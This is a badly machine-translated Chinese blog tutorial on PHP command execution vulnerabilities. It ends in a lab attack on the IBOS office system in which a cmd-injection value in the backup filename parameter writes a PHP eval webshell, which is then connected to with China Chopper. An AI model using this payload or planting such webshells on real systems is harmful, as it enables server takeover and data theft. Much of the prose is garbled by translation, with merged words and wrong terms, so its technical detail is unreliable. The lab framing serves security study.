当前位置:网站首页>Detailed explanation of Command Execution Vulnerability
Detailed explanation of Command Execution Vulnerability
2022-06-12 04:22:00 【poggioxay】
List of articles
Little knowledge
- The target machine is
linuxExecuted onyes Bashcommand , If it iswindowsWhat we're doing iscmdcommand . cmdin&Means to execute multiple commands .- Discussion about Command Execution Vulnerability bypassing filtering
Loophole principle
- The data entered by the user is executed as a system command .
- Code execution : The data entered by the user is treated as Back end code perform
Command execution : The data entered by the user is treated as System commands 【cmd、bash】 perform <?php system('whoami')?>In fact, the essence of a Trojan horse is a command execution vulnerability .echo "<?php eval($_REQUEST[8])?>" 123.phpadoptcmdWriting documents .- Through code execution vulnerability => Can call system commands
system('whoami')
Through system command vulnerability => Can call code to execute , Such ascmdWrite file to getshell. - Because when the code is executed , Functions that can be called for command execution , So most code execution can call system commands , The terminal operation of the kitchen knife also uses the command execution function .
Function analysis
system() function
Execute the command and return the result and output
exec() function
Only execute , And only the last line of the result will be returned
shell_exec() function
Execute the command and return all results , But no output
`` [ The quotation marks ]
Execute the command and return the result , But there's no output 【shell_exec Special way of writing , That is, it is forbidden shell_exec() Function backquotes do not take effect 】.
passthru() function
Execute the command and return the result and output all
popen()
popen( Commands to execute , Parameters )
$a = popen('whoami','r'); //r It's read-only 、w Yes write
echo fread($a,1024);
// The return value of this execution is special , What is returned is a file pointer , Need to use fread To read the return value ;1024 Refers to the length of the return value .
For penetration testers , The return value is not that important , The core is that the code has indeed been executed , This is the top priority .
zend encryption
Zend Guard It's the most mature one on the market PHP Source code encryption products , as long as PHP The third-party encryption plug-in is loaded , Then you can directly run the encrypted source code , There are also related decryption tools on the Internet .
Range practice
- The shooting range uses
IBOSOffice system , One click installation website system 【 mount this database 、 Website 、webContainers 、 And configure 】. - Let's start with the local installation test , Because of
exeExecutable file , Therefore, it is recommended to install in the virtual machine . - After successful installation, you can get the source code , We open the code audit tool , Find the first function
system().
- The second function
exec()
The previous ones are obviously all about databasessqlOf the statement , Independent of system commands .
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
- When we come across a very complex statement , go back to
IBOSpage , After testing , The meaning of this string of code is thissqlStatement is written to the database .
C:/IBOS520/MySQL/bin/mysql -h"127.0.0.1 -P3306" -u"root" -p"root" "ibos" < backup/2022-01-27_L6c686H4.sql


Through code audit, we know that the function of the previous step is to import the database , After trying, the system will filter the information we enter , In other words, we cannot tamper with the database id , The background will verify whether the file exists .
- We know that accessing the database will run system command functions , Since the recovery of the database requires detection , There is no point to use . Then we try to use database backup to execute system commands , Just one of the backup modes is to use system commands for backup , System commands must be executed here .

- Found file exists
zendencryption , To decrypt . - Let's look for the function again
shell_exec(), Found new uses .
$dumpFile =>
$dumpFile = $backupFileName . "-%s.sql";
$backupFileName = self::BACKUP_DIR . "/" .core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
$fileName = core\utils\Env::getRequest("filename");
//BACKUP_DIR For constant ;str_replace For the function , The core is regular substitution , The variable filename To deal with ,/ \\ . ' All will become empty .
//getRequest To accept a parameter
- find
filenameThis reference point , takefilenameThe parameter transfer method of is defined byPOSTIt is amended as followsGET, This can avoidURLStatement invalidation caused by encoding , And the source code allowsGETThe ginseng . Backstage meeting.To filter , We usecmdFunction to avoid . Construct the finalpayloadby1&echo "<?php @eval($_REQUEST[8]);?>" >a666%PATHEXT:~0,1%php&1, Conducturlcode .

- Successfully uploaded a word Trojan , Use a kitchen knife to connect and get
flag.
边栏推荐
- 无线物联网WiFi模块方案,ESP32-S3芯片技术,助力设备智能化
- SQL Safe Backup显示器和缩放字体的支持
- MySQL master-slave construction and Django implementation of read-write separation
- Exception handling and unit testing
- Unity脚本出現missing時的解决方法
- Kotlin starts the process, the difference between launch and async, and starts the process in sequence
- Mysql主从搭建与Django实现读写分离
- Install/Remove of the Service Denied!
- Goodbye to excel and PPT, I found a better visual fool software
- E-commerce middle office system architecture
猜你喜欢

Using datetime in MySQL

Ebpf series learning (4) learn about libbpf, co-re (compile once – run everywhere) | use go to develop ebpf programs (cloud native tool cilium ebpf)

疫情数据分析平台工作报告【1】数据采集
![[FPGA chaos] implementation of FPGA based chaotic system Verilog](/img/c0/cda4644168264b7531b67ef16e801a.png)
[FPGA chaos] implementation of FPGA based chaotic system Verilog

Network tester operation manual renix rack management

Detailed explanation of software testing process

MongoDB精华总结

Introduction to distributed locks

【FPGA混沌】基于FPGA的混沌系统verilog实现

路灯照明物联网技术方案,ESP32-S3芯片通信应用,智能WiFi远程控制
随机推荐
[software tool] [original] tutorial on using VOC dataset class alias batch modification tool
What does kotlin collaboration scope and coroutinescope mainscope globalscope viewmodelscope lifecyclescope represent respectively
疫情数据分析平台工作报告【8.5】额外的爬虫和绘图
MongoDB精华总结
Emperor Wu of Wei knew that he could not correct it, so he stopped offering his words
Centernet2 practice: take you through the training of custom datasets with centernet2
What does hard work mean to you?
疫情数据分析平台工作报告【42】CodeNet
C# TaskFactory. Startnew method
成功解决:WARNING: There was an error checking the latest version of pip.
[fpga+fft] design and implementation of FFT frequency meter based on FPGA
图解 Apache SkyWalking UI 的使用
Dynamic gauge (15) - Minimum toll
The memory four area model of C language program
Tasks in C #
WPF data binding (IV)
Summary of sequential, modulelist, and moduledict usage in pytorch
Notes on relevant knowledge points such as original code / inverse code / complement code, size end, etc
Enterprise Architect v16
DS18B20 digital thermometer (I) electrical characteristics, power supply and wiring mode